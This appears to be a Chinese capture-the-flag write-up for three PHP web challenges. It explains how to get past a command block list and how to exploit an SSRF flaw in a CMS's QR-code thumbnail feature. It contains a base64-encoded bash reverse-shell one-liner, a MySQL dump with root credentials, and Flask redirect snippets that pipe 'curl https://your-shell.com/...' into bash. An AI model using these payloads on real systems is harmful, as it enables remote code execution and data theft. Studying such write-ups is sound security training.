# web

# Simple_php

<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);
if(isset($_POST['cmd'])){
    $cmd = escapeshellcmd($_POST['cmd']); 
     if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
         system($cmd);
}
}

过滤了很多函数,前面还加了 escapeshellcmd 阻止多命令

可以用 diffpaste 来读文件

diff 直接查目录 cmd=diff / /tmp

image-20240519163158114

ps aux 有个 mysql 跑,flag 在 mysql 里。但是没有交互不好查表

可以选择 mysqldump -uroot -proot --all-database 直接 dump 数据

由于没有 ban php ,也可以用 php 动态调用的特性直接反弹 shell

php 中 md5() 不传参的情况下返回值为空

str_replace("test",md5(),"batestse64_decode") --> base64_decode
php -r echo((str_replace("test",md5(),"batestse64_decode"))("L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMQ"));

反弹 shell 进 mysql

# easycms

hint

提示 1: /flag.php: 
if ($_SERVER ["REMOTE_ADDR"] != "127.0.0.1"){
   echo "Just input 'cmd' From 127.0.0.1";
   return;
} else {
   system ($_GET ['cmd']);
}
提示 2:github 找一下源码?

xunruicms ,在 dayrui\Fcms\Control\Api\Api.php:50 有生成二维码的方法,其中经过 dr_catcher_data 调用 curl,可以造成 ssrf

源码如下(黑盒):

public function qrcode() {
        $value = urldecode(\Phpcmf\Service::L('input')->get('text'));
        $thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));
        $matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');
        $errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));
        // 生成二维码图片
        require_once CMSPATH.'Library/Phpqrcode.php';
        $file = WRITEPATH.'file/qrcode-'.md5($value.$thumb.$matrixPointSize.$errorCorrectionLevel).'-qrcode.png';
        if (false && !IS_DEV && is_file($file)) {
            $QR = imagecreatefrompng($file);
        } else {
            \QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3);
            if (!is_file($file)) {
                exit('二维码生成失败');
            }
            $QR = imagecreatefromstring(file_get_contents($file));
            if ($thumb) {
                if (strpos($thumb, 'https://') !== false
                    && strpos($thumb, '/') !== false
                    && strpos($thumb, 'http://') !== false) {
                    exit('图片地址不规范');
                }
                $host = parse_url($thumb,PHP_URL_HOST);
                $ip = gethostbyname($host);
                if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)){
                    exit("ip不正确");
                }
                $img = getimagesize($thumb);
                if (!$img) {
                    exit('此图片不是一张可用的图片');
                }
                $code = dr_catcher_data($thumb);
                if (!$code) {
                    exit('图片参数不规范');
                }
                $logo = imagecreatefromstring($code);
                $QR_width = imagesx($QR);// 二维码图片宽度
                $logo_width = imagesx($logo);//logo 图片宽度
                $logo_height = imagesy($logo);//logo 图片高度
                $logo_qr_width = $QR_width / 4;
                $scale = $logo_width/$logo_qr_width;
                $logo_qr_height = $logo_height/$scale;
                $from_width = ($QR_width - $logo_qr_width) / 2;
                // 重新组合图片并调整大小
                imagecopyresampled($QR, $logo, (int)$from_width, (int)$from_width, 0, 0, (int)$logo_qr_width, (int)$logo_qr_height, (int)$logo_width, (int)$logo_height);
                imagepng($QR, $file);
            }
        }
        // 输出图片
        ob_start();
        ob_clean();
        header("Content-type: image/png");
        $QR && imagepng($QR);
        exit;
    }

由于通过 gethostbyname() 函数拿到 ip,一般对 regex 的 bypass 没法绕过

只能用 302 跳转

@app.route('/')
def index():
    return redirect("http://0.0.0.0/flag.php?cmd=curl%20https://your-shell.com/ip:port|bash")

# easycms_revenge

源码(黑盒):

public function qrcode()
    {
        $value = urldecode(\Phpcmf\Service::L('input')->get('text'));
        $thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));
        $matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');
        $errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));
        // 生成二维码图片
        require_once CMSPATH . 'Library/Phpqrcode.php';
        $file = WRITEPATH . 'file/qrcode-' . md5($value . $thumb . $matrixPointSize . $errorCorrectionLevel) . '-qrcode.png';
        if (false && !IS_DEV && is_file($file)) {
            $QR = imagecreatefrompng($file);
        } else {
            \QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3);
            if (!is_file($file)) {
                exit('二维码生成失败');
            }
            $QR = imagecreatefromstring(file_get_contents($file));
            if ($thumb) {
                if (strpos($thumb, 'https://') !== false
                    && strpos($thumb, '/') !== false
                    && strpos($thumb, 'http://') !== false) {
                    exit('图片地址不规范');
                }
                $parts = parse_url($thumb);
                $hostname = $parts['host'];
                $ip = gethostbyname($hostname);
                $port = $parts['port'] ?? '';
                $newUrl = $parts['scheme'] . '://' . $ip;
                if ($port) {
                    $newUrl .= ':' . $port;
                }
                $newUrl .= $parts['path'];
                if (isset($parts['query'])) {
                    $newUrl .= '?' . $parts['query'];
                }
                if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
                    exit("ip不正确");
                }
                $context = stream_context_create(array('http' => (array('follow_location' => 0))));
                $img = getimagesizefromstring(file_get_contents($newUrl, false, $context));
                if (!$img) {
                    exit('此图片不是一张可用的图片');
                }
                $code = dr_catcher_data($newUrl);
                if (!$code) {
                    exit('图片参数不规范');
                }
                $logo = imagecreatefromstring($code);
                $QR_width = imagesx($QR);// 二维码图片宽度
                $logo_width = imagesx($logo);//logo 图片宽度
                $logo_height = imagesy($logo);//logo 图片高度
                $logo_qr_width = $QR_width / 4;
                $scale = $logo_width / $logo_qr_width;
                $logo_qr_height = $logo_height / $scale;
                $from_width = ($QR_width - $logo_qr_width) / 2;
                // 重新组合图片并调整大小
                imagecopyresampled($QR, $logo, (int)$from_width, (int)$from_width, 0, 0, (int)$logo_qr_width, (int)$logo_qr_height, (int)$logo_width, (int)$logo_height);
                imagepng($QR, $file);
            }
        }
        // 输出图片
        ob_start();
        ob_clean();
        header("Content-type: image/png");
        $QR && imagepng($QR);
        exit;
    }

这里重写了获得图片信息的逻辑,并且阻止 302 跳转了

$context = stream_context_create(array('http' => (array('follow_location' => 0))));

但只是第一次访问的时候会判断是否图片,是则用 curl 再访问一遍

image-20240519165513399

可以看到第二次用 curl 访问的时候明显多个 Accept 参数,所以在 302 跳转前加个判断即可

也可以用全局计数,第一次访问返回正常图片,第二次 302

@app.route('/')
def index():
    global visited
    if not visited:
        visited = True
        return send_file('./1.png', mimetype='image/png')
    else:
        visited = False
        return redirect("http://0.0.0.0/flag.php?cmd=curl%20https://your-shell.com/ip:port|bash")